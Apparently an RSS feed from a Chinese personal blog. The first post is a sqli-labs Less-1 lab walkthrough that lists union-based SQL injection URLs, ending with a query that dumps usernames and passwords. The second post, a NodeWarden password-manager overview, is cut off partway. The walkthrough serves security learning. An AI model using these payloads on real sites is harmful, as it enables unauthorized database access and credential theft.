<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>人生实验室</title><description>Li&apos;s Blog</description><link>https://ld.ac.cn/</link><templateTheme>Firefly</templateTheme><templateThemeVersion>6.12.3</templateThemeVersion><templateThemeUrl>https://github.com/CuteLeaf/Firefly</templateThemeUrl><lastBuildDate>2026年7月3日 22:06:27</lastBuildDate><item><title>Less-1：单引号字符型 SQL 注入</title><link>https://ld.ac.cn/posts/less-1-single-quote-sql-injection/</link><guid isPermaLink="true">https://ld.ac.cn/posts/less-1-single-quote-sql-injection/</guid><description>记录 sqli-labs Less-1 单引号字符型注入的判断字段数、联合查询回显和 information_schema 查询流程。</description><pubDate>Fri, 03 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;一、正常访问&lt;a href=&quot;#一正常访问&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;Less-1 初始页面&quot; loading=&quot;lazy&quot; width=&quot;3838&quot; height=&quot;1303&quot; src=&quot;/_astro/less-1-01.CCUs1roa_CSFlb.webp&quot; srcset=&quot;/_astro/less-1-01.CCUs1roa_Z20jb9V.webp 640w, /_astro/less-1-01.CCUs1roa_Z23VCqy.webp 750w, /_astro/less-1-01.CCUs1roa_1V1QnR.webp 828w, /_astro/less-1-01.CCUs1roa_ZS8VDV.webp 1080w, /_astro/less-1-01.CCUs1roa_2w3rDW.webp 1280w, /_astro/less-1-01.CCUs1roa_Kb6dq.webp 1668w, /_astro/less-1-01.CCUs1roa_Zd0vDX.webp 2048w, /_astro/less-1-01.CCUs1roa_Jdo66.webp 2560w, /_astro/less-1-01.CCUs1roa_CSFlb.webp 3838w&quot; /&gt;&lt;figcaption&gt;Less-1 初始页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;页面提示需要传入一个 &lt;code&gt;id&lt;/code&gt; 参数：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;传入 id 参数后的页面&quot; loading=&quot;lazy&quot; width=&quot;1924&quot; height=&quot;718&quot; src=&quot;/_astro/less-1-02.DHQ1ffxD_1xuBnl.webp&quot; srcset=&quot;/_astro/less-1-02.DHQ1ffxD_ZctTLu.webp 640w, /_astro/less-1-02.DHQ1ffxD_Z26j7RI.webp 750w, /_astro/less-1-02.DHQ1ffxD_Z2aJEU8.webp 828w, /_astro/less-1-02.DHQ1ffxD_7eIko.webp 1080w, /_astro/less-1-02.DHQ1ffxD_Z2m7CGc.webp 1280w, /_astro/less-1-02.DHQ1ffxD_1e0IvI.webp 1668w, /_astro/less-1-02.DHQ1ffxD_1xuBnl.webp 1924w&quot; /&gt;&lt;figcaption&gt;传入 id 参数后的页面&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;接着尝试在参数后面添加单引号，判断是否存在注入点：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;单引号触发 SQL 报错&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;721&quot; src=&quot;/_astro/less-1-03.Splgpw0r_jMxg5.webp&quot; srcset=&quot;/_astro/less-1-03.Splgpw0r_Z1jMI1W.webp 640w, /_astro/less-1-03.Splgpw0r_Z1ycsnz.webp 750w, /_astro/less-1-03.Splgpw0r_Z1Q49EA.webp 828w, /_astro/less-1-03.Splgpw0r_CStzK.webp 1080w, /_astro/less-1-03.Splgpw0r_1uCHLe.webp 1280w, /_astro/less-1-03.Splgpw0r_Gw69F.webp 1668w, /_astro/less-1-03.Splgpw0r_jMxg5.webp 1920w&quot; /&gt;&lt;figcaption&gt;单引号触发 SQL 报错&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;页面返回 SQL 报错，说明传入的单引号参与了后端 SQL 语句拼接。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;SQL 报错信息&quot; loading=&quot;lazy&quot; width=&quot;1923&quot; height=&quot;822&quot; src=&quot;/_astro/less-1-04.VEn6J0BA_Z2mqjJT.webp&quot; srcset=&quot;/_astro/less-1-04.VEn6J0BA_2uxdJi.webp 640w, /_astro/less-1-04.VEn6J0BA_2qmegg.webp 750w, /_astro/less-1-04.VEn6J0BA_ZvPU0K.webp 828w, /_astro/less-1-04.VEn6J0BA_ZEkUr4.webp 1080w, /_astro/less-1-04.VEn6J0BA_1RMevw.webp 1280w, /_astro/less-1-04.VEn6J0BA_ZMtqGz.webp 1668w, /_astro/less-1-04.VEn6J0BA_Z2mqjJT.webp 1923w&quot; /&gt;&lt;figcaption&gt;SQL 报错信息&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;后续可以使用 &lt;code&gt;--+&lt;/code&gt; 注释掉后面的 SQL 语句，从而消除多余内容导致的语法错误。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;二、判断查询字段数&lt;a href=&quot;#二判断查询字段数&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;使用 &lt;code&gt;order by&lt;/code&gt; 逐步判断当前查询语句的字段数：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; order by 1 --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; order by 2 --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; order by 3 --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; order by 4 --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;当 &lt;code&gt;order by 4&lt;/code&gt; 页面报错时，说明当前查询语句只有 3 个字段。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;order by 4 报错&quot; loading=&quot;lazy&quot; width=&quot;3838&quot; height=&quot;919&quot; src=&quot;/_astro/less-1-05.BjRNK-Yy_Lm2CH.webp&quot; srcset=&quot;/_astro/less-1-05.BjRNK-Yy_Z1FW9iJ.webp 640w, /_astro/less-1-05.BjRNK-Yy_25eb2U.webp 750w, /_astro/less-1-05.BjRNK-Yy_Z1I9S69.webp 828w, /_astro/less-1-05.BjRNK-Yy_Z8QzBo.webp 1080w, /_astro/less-1-05.BjRNK-Yy_1MXD5X.webp 1280w, /_astro/less-1-05.BjRNK-Yy_ZGDPWP.webp 1668w, /_astro/less-1-05.BjRNK-Yy_T102w.webp 2048w, /_astro/less-1-05.BjRNK-Yy_2rpIR5.webp 2560w, /_astro/less-1-05.BjRNK-Yy_Lm2CH.webp 3838w&quot; /&gt;&lt;figcaption&gt;order by 4 报错&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;确认字段数后，再使用 &lt;code&gt;union select&lt;/code&gt; 判断页面的回显位置：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; and 1=2 union select 1,2,3 --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;union select 判断回显位置&quot; loading=&quot;lazy&quot; width=&quot;1924&quot; height=&quot;817&quot; src=&quot;/_astro/less-1-06.C4-8S5Ic_ZPJKBw.webp&quot; srcset=&quot;/_astro/less-1-06.C4-8S5Ic_Z2whEtA.webp 640w, /_astro/less-1-06.C4-8S5Ic_1gajzU.webp 750w, /_astro/less-1-06.C4-8S5Ic_ZstEpH.webp 828w, /_astro/less-1-06.C4-8S5Ic_Z1f0cIc.webp 1080w, /_astro/less-1-06.C4-8S5Ic_ZqWAmt.webp 1280w, /_astro/less-1-06.C4-8S5Ic_I83f7.webp 1668w, /_astro/less-1-06.C4-8S5Ic_ZPJKBw.webp 1924w&quot; /&gt;&lt;figcaption&gt;union select 判断回显位置&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;从页面结果可以看到，第 2 列和第 3 列会回显到页面上。&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;三、查询数据库信息&lt;a href=&quot;#三查询数据库信息&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;先使用 MySQL 自带的 &lt;code&gt;database()&lt;/code&gt; 函数查询当前数据库名：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; and 1=2 union select 1,2,database() --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;查询当前数据库名&quot; loading=&quot;lazy&quot; width=&quot;1917&quot; height=&quot;810&quot; src=&quot;/_astro/less-1-07.BfWFWHYD_ZCCjs0.webp&quot; srcset=&quot;/_astro/less-1-07.BfWFWHYD_2o2VIQ.webp 640w, /_astro/less-1-07.BfWFWHYD_Z2wT2jv.webp 750w, /_astro/less-1-07.BfWFWHYD_ZClc1c.webp 828w, /_astro/less-1-07.BfWFWHYD_Z7meP6.webp 1080w, /_astro/less-1-07.BfWFWHYD_FFmvC.webp 1280w, /_astro/less-1-07.BfWFWHYD_1PL18d.webp 1668w, /_astro/less-1-07.BfWFWHYD_ZCCjs0.webp 1917w&quot; /&gt;&lt;figcaption&gt;查询当前数据库名&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;再通过 &lt;code&gt;information_schema.tables&lt;/code&gt; 查询 &lt;code&gt;security&lt;/code&gt; 数据库中的表名：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=&apos;security&apos; --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;这里使用 &lt;code&gt;group_concat()&lt;/code&gt; 将多个表名合并到同一列中，方便在页面回显位置查看。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;查询 security 数据库中的表名&quot; loading=&quot;lazy&quot; width=&quot;1921&quot; height=&quot;751&quot; src=&quot;/_astro/less-1-08.DT6ntSvJ_nmWfg.webp&quot; srcset=&quot;/_astro/less-1-08.DT6ntSvJ_ZGsy6X.webp 640w, /_astro/less-1-08.DT6ntSvJ_v712p.webp 750w, /_astro/less-1-08.DT6ntSvJ_Z1XXb2x.webp 828w, /_astro/less-1-08.DT6ntSvJ_1SOm73.webp 1080w, /_astro/less-1-08.DT6ntSvJ_1CvVID.webp 1280w, /_astro/less-1-08.DT6ntSvJ_Z7B9p8.webp 1668w, /_astro/less-1-08.DT6ntSvJ_nmWfg.webp 1921w&quot; /&gt;&lt;figcaption&gt;查询 security 数据库中的表名&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;接下来以 &lt;code&gt;users&lt;/code&gt; 表为例，查询该表中的字段名：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=&apos;users&apos; --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;查询 users 表字段名&quot; loading=&quot;lazy&quot; width=&quot;3838&quot; height=&quot;924&quot; src=&quot;/_astro/less-1-09.0H5mBlxJ_U9dmG.webp&quot; srcset=&quot;/_astro/less-1-09.0H5mBlxJ_X7AOh.webp 640w, /_astro/less-1-09.0H5mBlxJ_ZkScD0.webp 750w, /_astro/less-1-09.0H5mBlxJ_UTR1R.webp 828w, /_astro/less-1-09.0H5mBlxJ_ZRI0eH.webp 1080w, /_astro/less-1-09.0H5mBlxJ_1K4ns7.webp 1280w, /_astro/less-1-09.0H5mBlxJ_Z1vpwxC.webp 1668w, /_astro/less-1-09.0H5mBlxJ_Zc1DcJ.webp 2048w, /_astro/less-1-09.0H5mBlxJ_1ln5BO.webp 2560w, /_astro/less-1-09.0H5mBlxJ_U9dmG.webp 3838w&quot; /&gt;&lt;figcaption&gt;查询 users 表字段名&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;可以看到，&lt;code&gt;users&lt;/code&gt; 表中有 3 个字段，分别是 &lt;code&gt;id&lt;/code&gt;、&lt;code&gt;username&lt;/code&gt;、&lt;code&gt;password&lt;/code&gt;。&lt;/p&gt;&lt;p&gt;最后根据字段名查询表中的数据：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;http://192.168.1.17:8082/Less-1/?id=1&apos; and 1=2 union select 1,2,group_concat(username,&apos;:&apos;,password) from users --+&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;查询 users 表数据&quot; loading=&quot;lazy&quot; width=&quot;3835&quot; height=&quot;1353&quot; src=&quot;/_astro/less-1-10.CxK72fyI_Z1LPgv7.webp&quot; srcset=&quot;/_astro/less-1-10.CxK72fyI_ZeWAAy.webp 640w, /_astro/less-1-10.CxK72fyI_Z1lIqtA.webp 750w, /_astro/less-1-10.CxK72fyI_1A6EIq.webp 828w, /_astro/less-1-10.CxK72fyI_ZtVjLN.webp 1080w, /_astro/less-1-10.CxK72fyI_1KfO2I.webp 1280w, /_astro/less-1-10.CxK72fyI_ZfxTfq.webp 1668w, /_astro/less-1-10.CxK72fyI_8ECEg.webp 2048w, /_astro/less-1-10.CxK72fyI_MfxHW.webp 2560w, /_astro/less-1-10.CxK72fyI_Z1LPgv7.webp 3835w&quot; /&gt;&lt;figcaption&gt;查询 users 表数据&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;通过页面回显，可以获取 &lt;code&gt;users&lt;/code&gt; 表中的用户名和密码数据。&lt;/p&gt;&lt;/section&gt;</content:encoded></item><item><title>NodeWarden：把你的密码库搬到 Cloudflare Workers 上，不要服务器</title><link>https://ld.ac.cn/posts/nodewarden-cloudflare-workers-password-manager/</link><guid isPermaLink="true">https://ld.ac.cn/posts/nodewarden-cloudflare-workers-password-manager/</guid><description>NodeWarden 是运行在 Cloudflare Workers 上的 Bitwarden 兼容密码管理服务端。不需要 VPS，不需要 Docker，Fork 一下连接 CF 即可一键部署，自带 PWA 离线访问和云端备份。</description><pubDate>Mon, 29 Jun 2026 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;项目地址：&lt;/strong&gt; &lt;a href=&quot;https://github.com/shuaiplus/nodewarden&quot; target=&quot;_blank&quot;&gt;github.com/shuaiplus/nodewarden&lt;/a&gt;
&lt;strong&gt;官方文档：&lt;/strong&gt; &lt;a href=&quot;https://nodewarden.app&quot; target=&quot;_blank&quot;&gt;nodewarden.app&lt;/a&gt;
&lt;strong&gt;在线 Demo：&lt;/strong&gt; &lt;a href=&quot;https://demo.nodewarden.app&quot; target=&quot;_blank&quot;&gt;demo.nodewarden.app&lt;/a&gt;
&lt;strong&gt;本文转载参考了&lt;/strong&gt; &lt;a href=&quot;https://www.appinn.com/nodewarden&quot; target=&quot;_blank&quot;&gt;小众软件 · NodeWarden 介绍&lt;/a&gt; 与 NodeSeek 原帖，图片来自小众软件及项目官方。&lt;/p&gt;&lt;/blockquote&gt;
&lt;section&gt;&lt;h2&gt;密码管理器的自托管困局&lt;a href=&quot;#密码管理器的自托管困局&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Bitwarden 是当下最好的开源密码管理器之一，但自托管它一直有个门槛——你需要一台服务器。&lt;/p&gt;&lt;p&gt;官方版 Bitwarden 吃资源，Docker 一套下来内存占用感人。Vaultwarden（前身 bitwarden_rs）用 Rust 重写，轻量多了，但你仍然需要一台 VPS，要配 SSL、做备份、盯着 uptime。&lt;/p&gt;&lt;p&gt;如果你说”我只是想自己管密码，不想为了一台密码服务器每个月多花 5 刀买 VPS”，那 NodeWarden 就是为你准备的。&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;NodeWarden 项目 Logo&quot; loading=&quot;lazy&quot; width=&quot;512&quot; height=&quot;512&quot; src=&quot;/_astro/nodewarden-logo.Yf_HqLb__Z1bl2bk.webp&quot; srcset=&quot;/_astro/nodewarden-logo.Yf_HqLb__Z1bl2bk.webp 512w&quot; /&gt;&lt;figcaption&gt;NodeWarden 项目 Logo&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;NodeWarden 是什么？&lt;a href=&quot;#nodewarden-是什么&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;NodeWarden 是一个用 TypeScript 写的 Bitwarden 兼容服务端，跑在 &lt;strong&gt;Cloudflare Workers&lt;/strong&gt; 上。你的密码数据存在 Cloudflare D1（全球分布式 SQLite），附件存在 R2 或 KV。&lt;/p&gt;&lt;p&gt;&lt;strong&gt;核心亮点一句话：不需要自己的服务器，Cloudflare 免费额度就够跑。&lt;/strong&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;它和 Vaultwarden 有什么不同？&lt;a href=&quot;#它和-vaultwarden-有什么不同&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;



























































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;对比项&lt;/th&gt;&lt;th&gt;Vaultwarden&lt;/th&gt;&lt;th&gt;NodeWarden&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;语言&lt;/td&gt;&lt;td&gt;Rust&lt;/td&gt;&lt;td&gt;TypeScript&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;部署方式&lt;/td&gt;&lt;td&gt;Docker / VPS&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Cloudflare Workers&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;数据库&lt;/td&gt;&lt;td&gt;SQLite&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Cloudflare D1（全球分布）&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;附件存储&lt;/td&gt;&lt;td&gt;本地磁盘&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Cloudflare R2 / KV&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;SSL 配置&lt;/td&gt;&lt;td&gt;自己配反向代理&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Cloudflare 自动处理&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;维护&lt;/td&gt;&lt;td&gt;手动更新 + 备份&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Fork 同步上游&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;成本&lt;/td&gt;&lt;td&gt;VPS 月费&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Cloudflare 免费额度&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;密码同步&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;PWA 离线查看&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;云端自动备份&lt;/td&gt;&lt;td&gt;❌&lt;/td&gt;&lt;td&gt;✅&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;最大的区别：Vaultwarden 要求你有一台&lt;strong&gt;持续在线的服务器&lt;/strong&gt;（VPS、树莓派、NAS 都行），NodeWarden 不需要——你的密码库跑在全球 330 个 Cloudflare 边缘节点上。&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;功能概览&lt;a href=&quot;#功能概览&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;目前 NodeWarden 已经实现了 Bitwarden 的大多数核心功能：&lt;/p&gt;&lt;p&gt;&lt;strong&gt;密码管理&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;✅ 登录、笔记、卡片、身份信息加密存储&lt;/li&gt;
&lt;li&gt;✅ 文件夹 / 收藏 / 标签&lt;/li&gt;
&lt;li&gt;✅ TOTP 动态验证码（含 Steam TOTP）&lt;/li&gt;
&lt;li&gt;✅ 密码重复检测&lt;/li&gt;
&lt;li&gt;✅ 密码提示（网页端直接查看，无需邮件）&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;附件与文件传输&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;✅ 附件上传/下载（R2 模式单文件上限 100MB，KV 模式 25MB）&lt;/li&gt;
&lt;li&gt;✅ 流式上传 + 进度显示&lt;/li&gt;
&lt;li&gt;✅ Send（文本/文件临时分享）&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;设备与客户端&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;✅ 全量同步 &lt;code&gt;/api/sync&lt;/code&gt;（兼容官方客户端）&lt;/li&gt;
&lt;li&gt;✅ Windows / macOS / Linux 桌面端&lt;/li&gt;
&lt;li&gt;✅ Android / iOS 手机端&lt;/li&gt;
&lt;li&gt;✅ 浏览器扩展（Chrome、Firefox、Edge 等）&lt;/li&gt;
&lt;li&gt;✅ PWA 渐进式 Web 应用——可安装到桌面、离线查看密码库&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;特色功能（Bitwarden 官方没有的）&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;✅ &lt;strong&gt;云端备份中心&lt;/strong&gt;：支持 WebDAV / S3 定时备份，加密传输，自动清理旧备份&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;PWA 离线访问&lt;/strong&gt;：Service Worker 缓存 + 后台解密，没网也能看密码&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;Passkey 无密码登录&lt;/strong&gt;：指纹 / Face ID 直接解锁密码库&lt;/li&gt;
&lt;li&gt;✅ &lt;strong&gt;邀请码注册&lt;/strong&gt;：支持多用户（家庭成员共享密码库）&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;&lt;strong&gt;暂不支持&lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;❌ 组织 / 集合 / 权限管理（面向个人和家庭使用）&lt;/li&gt;
&lt;li&gt;❌ SSO / SCIM / 企业目录&lt;/li&gt;
&lt;li&gt;❌ 官方 2FA（有用户级 TOTP）&lt;/li&gt;
&lt;/ul&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;架构怎么跑的？&lt;a href=&quot;#架构怎么跑的&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;NodeWarden 用了 Cloudflare 全家桶：&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;用户请求 → Cloudflare Workers（处理 API + 提供 Web 页面）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                              &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── D1（结构化数据 — 密码、账号、配置）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                              &lt;/span&gt;&lt;/span&gt;&lt;span&gt;├── R2（附件、Send 文件）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;                              &lt;/span&gt;&lt;/span&gt;&lt;span&gt;└── Durable Object（实时同步通知）&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Workers&lt;/strong&gt;：处理所有 HTTP 请求和 API 路由，同时托管 Web Vault 静态页面&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;D1&lt;/strong&gt;：全球分布的 SQLite 数据库，存密码库结构化数据&lt;/li&gt;
